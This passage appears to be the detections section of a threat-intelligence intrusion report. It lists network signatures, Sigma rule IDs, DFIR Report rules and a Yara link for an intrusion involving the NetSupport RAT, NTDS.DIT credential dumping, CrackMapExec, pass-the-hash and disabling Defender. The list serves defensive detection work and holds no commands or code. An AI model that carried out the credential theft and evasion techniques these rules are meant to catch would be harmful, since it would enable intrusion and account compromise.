ET USER_AGENTS WinRM User Agent Detected - Possible Lateral Movement
ET POLICY WinRM wsman Access - Possible Lateral Movement
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 1433 traffic Potential Scan or Infection

Sigma

 Search sigma rules at detection.fyi

Sigma Repo:

0afbd410-de03-4078-8491-f132303cb67d - Renamed NetSupport RAT Execution
2afafd61-6aae-4df4-baed-139fa1f4c345 - Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)
8bc64091-6875-4881-aaf9-7bd25b5dda08 - Suspicious Process Patterns NTDS.DIT Exfil
0b8baa3f-575c-46ee-8715-d6f28cc7d33c - NTDS.DIT Created
9f107a84-532c-41af-b005-8d12a607639f - Suspicious Cabinet File Expansion
058f4380-962d-40a5-afce-50207d36d7e2 - HackTool - CrackMapExec Execution Patterns
0ef56343-059e-4cb6-adc1-4c3c967c5e46 - Suspicious Execution of Systeminfo
4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67 - Renamed ProcDump Execution
17769c90-230e-488b-a463-e05c08e9d48f - Powershell Defender Exclusion
1ec65a5f-9473-4f12-97da-622044d6df21 - Powershell Defender Disable Scan Feature
ad720b90-25ad-43ff-9b5e-5c841facc8e5 - Add User to Local Administrators Group
ffa28e60-bdb1-46e0-9f82-05f7a61cc06e - Suspicious Add User to Remote Desktop Users Group
1e33157c-53b1-41ad-bbcc-780b80b58288 - WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c - New Firewall Rule Added Via Netsh.EXE
ca2092a1-c273-4878-9b4b-0d60115bf5ea - Suspicious Encoded PowerShell Command Line
07f8bdc2-c9b3-472a-9817-5a670b872f53 - Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE
b1ec66c6-f4d1-4b5c-96dd-af28ccae7727 - New Generic Credentials Added Via Cmdkey.EXE
502b42de-4306-40b4-9596-6f590c81f073 - Local Accounts Discovery

Joe Security:

200105 - Powershell drops NetSupport RAT client

The DFIR Report Repo:

a5661068-c85f-4ee1-bc13-6b753bd2c7b7 - Adding, Listing and Removing Credentials via Cmdkey CommandLine Ultility
d938de18-7f57-4c9c-93b9-a621c746d594 - NIM Pass The Hash Tooling Detection

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/19438/19438.yar

MITRE


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDE3ODc1Mw==&mid=2247487041&idx=1&sn=bc2c053fa48fe642f978fe084d8003dd&chksm=c27f7deff508f4f92b425ef2e220d5abd0727853e9ced7d5bfab72a7b611452f0e17576fefb4&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh